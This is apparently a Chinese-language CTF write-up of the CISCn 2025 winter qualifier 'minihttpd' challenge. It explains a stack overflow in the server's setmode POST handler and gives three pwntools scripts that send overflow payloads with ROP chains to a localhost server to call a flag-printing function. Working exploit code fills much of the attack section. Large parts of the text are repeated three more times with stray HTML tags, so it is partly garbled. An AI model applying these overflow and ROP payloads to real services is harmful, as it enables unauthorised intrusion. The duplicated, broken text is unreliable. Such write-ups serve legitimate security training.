CISCn 2025冬季初赛 minihttpd 题目分析与利用教程<\/h1>

题目概述<\/h2>
这是一个名为 minihttpd<\/strong> 的二进制题目，来自CISCn 2025冬季初赛。程序是一个多线程HTTP服务器，没有开启PIE保护，使用libc 2.31。题目设置了沙盒，禁用了execve和execveat系统调用。<\/p>

程序分析<\/h2>
保护机制检查<\/h3>

PIE<\/strong>: 关闭<\/li>
Libc版本<\/strong>: 2.31<\/li>
沙盒<\/strong>: 禁用了execve和execveat<\/li> <\/ul>
关键函数分析<\/h3>
1. 主事件循环<\/h4>
程序将客户端socket fd存储后开启线程处理请求。<\/p>
2. start_routine函数<\/h4>
这是多线程HTTP服务器中处理单个客户端连接的主函数，主要功能包括：<\/p>

接收并解析HTTP请求（方法、路径、Header、Body）<\/li>
路由分发：GET请求处理静态文件服务，POST请求调用注册的handler<\/li> <\/ul>
3. 路由注册结构 (sub_402D2D)<\/h4>
函数包含路由注册结构，重点关注setmode<\/code>路由，对应sub_402A40<\/code>函数。<\/p>
4. 漏洞函数 (sub_402A40)<\/h4> 该函数在处理输入内容时存在栈溢出漏洞：<\/p> 检查"="前部分是否为"setmode"<\/li> "="后部分在拷贝时能覆盖栈空间<\/li> <\/ul> 5. 目标函数 (sub_402663 - getflag)<\/h4> 关键函数，无路径限制，通过控制rdi和rsi寄存器即可输出flag。<\/p> 关键Gadgets<\/h3> pop_rdi =<\/span> 0x0000000000402ff3<\/span> # pop rdi ; ret<\/span> <\/span><\/span>pop_rsi_r15 =<\/span> 0x0000000000402ff1<\/span> # pop rsi ; pop r15 ; ret<\/span> <\/span><\/span>pop_rbp =<\/span> 0x000000000040169d<\/span> # pop rbp ; ret<\/span> <\/span><\/span><\/code><\/pre>漏洞利用技术<\/h2> 漏洞原理<\/h3> 在sub_402A40<\/code>函数中，处理POST请求的setmode路由时，对"="后面的内容拷贝到栈上时没有正确检查边界，导致栈溢出。<\/p> 利用思路<\/h3> 方法一：单线程ROP链利用<\/h4> 通过精心构造ROP链，利用recv函数写入"\/flag"字符串并控制程序执行流。<\/p> 利用步骤：<\/strong><\/p> 构造HTTP POST请求，路由设置为\/setmode<\/code><\/li> 在POST Body中构造栈溢出payload<\/li> 覆盖返回地址，控制程序执行流<\/li> 使用recv函数将后续ROP链和"\/flag"字符串写入可写内存<\/li> 最终调用getflag函数输出flag<\/li> <\/ol> EXP代码：<\/strong><\/p> from<\/span> pwn import<\/span> *<\/span> <\/span><\/span> <\/span><\/span>context.<\/span>arch =<\/span> 'amd64'<\/span> <\/span><\/span>context.<\/span>log_level =<\/span> 'debug'<\/span> <\/span><\/span> <\/span><\/span>e =<\/span> ELF('.\/main'<\/span>) <\/span><\/span> <\/span><\/span># Gadgets<\/span> <\/span><\/span>pop_rdi =<\/span> 0x0000000000402ff3<\/span> <\/span><\/span>pop_rsi_r15 =<\/span> 0x0000000000402ff1<\/span> <\/span><\/span>bss =<\/span> 0x427000<\/span> <\/span><\/span>recv_addr =<\/span> 0x401cf0<\/span> <\/span><\/span>getflag_addr =<\/span> 0x000402663<\/span> <\/span><\/span> <\/span><\/span># HTTP报文格式<\/span> <\/span><\/span>post_body =<\/span> '''POST <\/span>{route}<\/span> <\/span><\/span><\/span>Content-Length:<\/span>{content_length}<\/span> <\/span><\/span><\/span> <\/span><\/span><\/span>'''<\/span> <\/span><\/span> <\/span><\/span># 构造栈溢出payload<\/span> <\/span><\/span>payload =<\/span> b<\/span>'setmode='<\/span> +<\/span> b<\/span>'a'<\/span>*<\/span>0x440<\/span> <\/span><\/span>payload +=<\/span> p64(bss) +<\/span> p64(pop_rsi_r15) +<\/span> p64(bss) +<\/span> p64(0<\/span>) +<\/span> p64(pop_rdi) <\/span><\/span>payload +=<\/span> p64(4<\/span>) +<\/span> p64(pop_rdi +<\/span> 1<\/span>) +<\/span> p64(recv_addr) <\/span><\/span> <\/span><\/span>p =<\/span> remote('localhost'<\/span>, 9999<\/span>) <\/span><\/span>req =<\/span> post_body.<\/span>format(route=<\/span>'\/setmode'<\/span>, content_length=<\/span>len(payload)).<\/span>encode() +<\/span> payload <\/span><\/span>req +=<\/span> b<\/span>'\/flag<\/span>\x00\x00\x00<\/span>'<\/span> +<\/span> p64(pop_rsi_r15) +<\/span> p64(bss) +<\/span> p64(0<\/span>) +<\/span> p64(pop_rdi) +<\/span> p64(4<\/span>) +<\/span> p64(getflag_addr) <\/span><\/span> <\/span><\/span>p.<\/span>send(req) <\/span><\/span>p.<\/span>interactive() <\/span><\/span><\/code><\/pre>方法二：多线程协作利用<\/h4> 利用多线程共享内存的特性，一个线程写入"\/flag"字符串，另一个线程读取并调用getflag函数。<\/p> 步骤1：准备线程（写入\/flag字符串）<\/strong><\/p> from<\/span> pwn import<\/span> *<\/span> <\/span><\/span> <\/span><\/span>context.<\/span>arch =<\/span> 'amd64'<\/span> <\/span><\/span>context.<\/span>log_level =<\/span> 'debug'<\/span> <\/span><\/span> <\/span><\/span>e =<\/span> ELF('.\/main'<\/span>) <\/span><\/span> <\/span><\/span>post_body =<\/span> '''POST <\/span>{route}<\/span> <\/span><\/span><\/span>Content-Length: <\/span>{content_length}<\/span> <\/span><\/span><\/span> <\/span><\/span><\/span>'''<\/span> <\/span><\/span> <\/span><\/span>pop_rdi =<\/span> 0x0000000000402ff3<\/span> <\/span><\/span>pop_rsi_r15 =<\/span> 0x0000000000402ff1<\/span> <\/span><\/span>bss =<\/span> 0x406880<\/span> <\/span><\/span>recv_addr =<\/span> 0x401cf0<\/span> <\/span><\/span> <\/span><\/span>payload =<\/span> b<\/span>'setmode='<\/span> +<\/span> b<\/span>'a'<\/span>*<\/span>0x440<\/span> <\/span><\/span>payload +=<\/span> p64(bss) +<\/span> p64(pop_rsi_r15) +<\/span> p64(bss) +<\/span> p64(0<\/span>) +<\/span> p64(pop_rdi) <\/span><\/span>payload +=<\/span> p64(4<\/span>) +<\/span> p64(pop_rdi +<\/span> 1<\/span>) +<\/span> p64(recv_addr) <\/span><\/span> <\/span><\/span>p =<\/span> remote('localhost'<\/span>, 9999<\/span>) <\/span><\/span>req =<\/span> post_body.<\/span>format(route=<\/span>'\/setmode'<\/span>, content_length=<\/span>len(payload)).<\/span>encode() +<\/span> payload <\/span><\/span>req +=<\/span> b<\/span>'\/flag<\/span>\x00\x00\x00<\/span>'<\/span> +<\/span> p64(pop_rsi_r15) +<\/span> p64(bss) +<\/span> p64(0<\/span>) +<\/span> p64(pop_rdi) +<\/span> p64(4<\/span>) +<\/span> p64(pop_rdi +<\/span> 1<\/span>) +<\/span> p64(recv_addr) <\/span><\/span> <\/span><\/span>p.<\/span>send(req) <\/span><\/span>p.<\/span>interactive() <\/span><\/span><\/code><\/pre>步骤2：获取flag线程<\/strong><\/p> from<\/span> pwn import<\/span> *<\/span> <\/span><\/span> <\/span><\/span>context.<\/span>arch =<\/span> 'amd64'<\/span> <\/span><\/span>context.<\/span>log_level =<\/span> 'debug'<\/span> <\/span><\/span> <\/span><\/span>e =<\/span> ELF('.\/main'<\/span>) <\/span><\/span> <\/span><\/span>post_body =<\/span> '''POST <\/span>{route}<\/span> <\/span><\/span><\/span>Content-Length: <\/span>{content_length}<\/span> <\/span><\/span><\/span> <\/span><\/span><\/span>'''<\/span> <\/span><\/span> <\/span><\/span>pop_rdi =<\/span> 0x0000000000402ff3<\/span> <\/span><\/span>pop_rsi_r15 =<\/span> 0x0000000000402ff1<\/span> <\/span><\/span>bss =<\/span> 0x406880<\/span> <\/span><\/span>getflag_addr =<\/span> 0x000402663<\/span> <\/span><\/span> <\/span><\/span>payload =<\/span> b<\/span>'setmode='<\/span> +<\/span> b<\/span>'a'<\/span>*<\/span>0x440<\/span> <\/span><\/span>payload +=<\/span> p64(bss) +<\/span> p64(pop_rsi_r15) +<\/span> p64(bss) +<\/span> p64(0<\/span>) +<\/span> p64(pop_rdi) <\/span><\/span>payload +=<\/span> p64(4<\/span>) +<\/span> p64(getflag_addr) <\/span><\/span> <\/span><\/span>p =<\/span> remote('localhost'<\/span>, 9999<\/span>) <\/span><\/span>req =<\/span> post_body.<\/span>format(route=<\/span>'\/setmode'<\/span>, content_length=<\/span>len(payload)).<\/span>encode() +<\/span> payload <\/span><\/span>p.<\/span>send(req) <\/span><\/span>p.<\/span>interactive() <\/span><\/span><\/code><\/pre>关键技术点<\/h2> 1. HTTP请求格式<\/h3> 必须正确构造HTTP POST请求，包括正确的路由和Content-Length头。<\/p> 2. 栈布局控制<\/h3> 需要精确计算溢出偏移量（0x440），正确覆盖返回地址。<\/p> 3. ROP链构造<\/h3> 使用pop rdi控制第一个参数<\/li> 使用pop rsi; pop r15控制第二个参数<\/li> 合理选择可写内存区域（BSS段）<\/li> <\/ul> 4. 系统调用利用<\/h3> 虽然沙盒禁用了execve，但可以通过recv系统调用进行内存读写操作。<\/p> 5. 多线程同步<\/h3> 方法二利用了多线程共享内存的特性，需要注意线程间的同步和fd控制。<\/p> 总结<\/h2> 本题考察了以下技能：<\/p> 二进制程序逆向分析能力<\/li> 栈溢出漏洞识别和利用<\/li> ROP链构造技术<\/li> 沙盒绕过技巧<\/li> 多线程程序利用<\/li> HTTP协议理解<\/li> <\/ul> 通过两种不同的利用方法，展示了在限制环境下获取flag的多种思路，体现了二进制漏洞利用的灵活性和创造性。<\/p>

CISCn 2025冬季初赛 minihttpd 题目分析与利用教程<\/h1>

题目概述<\/h2>
这是一个名为 minihttpd<\/strong> 的二进制题目，来自CISCn 2025冬季初赛。程序是一个多线程HTTP服务器，没有开启PIE保护，使用libc 2.31。题目设置了沙盒，禁用了execve和execveat系统调用。<\/p>

关键函数分析<\/h3>

1. 主事件循环<\/h4>
程序将客户端socket fd存储后开启线程处理请求。<\/p>

3. 路由注册结构 (sub_402D2D)<\/h4>
函数包含路由注册结构，重点关注`setmode<\/code>路由，对应sub_402A40<\/code>函数。<\/p>`

5. 目标函数 (sub_402663 - getflag)<\/h4>
关键函数，无路径限制，通过控制rdi和rsi寄存器即可输出flag。<\/p>

漏洞利用技术<\/h2>

漏洞原理<\/h3>
在`sub_402A40<\/code>函数中，处理POST请求的setmode路由时，对"="后面的内容拷贝到栈上时没有正确检查边界，导致栈溢出。<\/p>`

关键技术点<\/h2>

1. HTTP请求格式<\/h3>
必须正确构造HTTP POST请求，包括正确的路由和Content-Length头。<\/p>

2. 栈布局控制<\/h3>
需要精确计算溢出偏移量（0x440），正确覆盖返回地址。<\/p>

4. 系统调用利用<\/h3>
虽然沙盒禁用了execve，但可以通过recv系统调用进行内存读写操作。<\/p>

5. 多线程同步<\/h3>
方法二利用了多线程共享内存的特性，需要注意线程间的同步和fd控制。<\/p>

CISCn 2025冬季初赛 minihttpd 题目分析与利用教程<\/h1>

题目概述<\/h2> 这是一个名为 minihttpd<\/strong> 的二进制题目，来自CISCn 2025冬季初赛。程序是一个多线程HTTP服务器，没有开启PIE保护，使用libc 2.31。题目设置了沙盒，禁用了execve和execveat系统调用。<\/p>

关键函数分析<\/h3>

1. 主事件循环<\/h4> 程序将客户端socket fd存储后开启线程处理请求。<\/p>

3. 路由注册结构 (sub_402D2D)<\/h4> 函数包含路由注册结构，重点关注setmode<\/code>路由，对应sub_402A40<\/code>函数。<\/p>

5. 目标函数 (sub_402663 - getflag)<\/h4> 关键函数，无路径限制，通过控制rdi和rsi寄存器即可输出flag。<\/p>

漏洞利用技术<\/h2>

漏洞原理<\/h3> 在sub_402A40<\/code>函数中，处理POST请求的setmode路由时，对"="后面的内容拷贝到栈上时没有正确检查边界，导致栈溢出。<\/p>

关键技术点<\/h2>

1. HTTP请求格式<\/h3> 必须正确构造HTTP POST请求，包括正确的路由和Content-Length头。<\/p>

2. 栈布局控制<\/h3> 需要精确计算溢出偏移量（0x440），正确覆盖返回地址。<\/p>

4. 系统调用利用<\/h3> 虽然沙盒禁用了execve，但可以通过recv系统调用进行内存读写操作。<\/p>

5. 多线程同步<\/h3> 方法二利用了多线程共享内存的特性，需要注意线程间的同步和fd控制。<\/p>

题目概述<\/h2>
这是一个名为 minihttpd<\/strong> 的二进制题目，来自CISCn 2025冬季初赛。程序是一个多线程HTTP服务器，没有开启PIE保护，使用libc 2.31。题目设置了沙盒，禁用了execve和execveat系统调用。<\/p>

1. 主事件循环<\/h4>
程序将客户端socket fd存储后开启线程处理请求。<\/p>

3. 路由注册结构 (sub_402D2D)<\/h4>
函数包含路由注册结构，重点关注`setmode<\/code>路由，对应sub_402A40<\/code>函数。<\/p>`

5. 目标函数 (sub_402663 - getflag)<\/h4>
关键函数，无路径限制，通过控制rdi和rsi寄存器即可输出flag。<\/p>

漏洞原理<\/h3>
在`sub_402A40<\/code>函数中，处理POST请求的setmode路由时，对"="后面的内容拷贝到栈上时没有正确检查边界，导致栈溢出。<\/p>`

1. HTTP请求格式<\/h3>
必须正确构造HTTP POST请求，包括正确的路由和Content-Length头。<\/p>

2. 栈布局控制<\/h3>
需要精确计算溢出偏移量（0x440），正确覆盖返回地址。<\/p>

4. 系统调用利用<\/h3>
虽然沙盒禁用了execve，但可以通过recv系统调用进行内存读写操作。<\/p>

5. 多线程同步<\/h3>
方法二利用了多线程共享内存的特性，需要注意线程间的同步和fd控制。<\/p>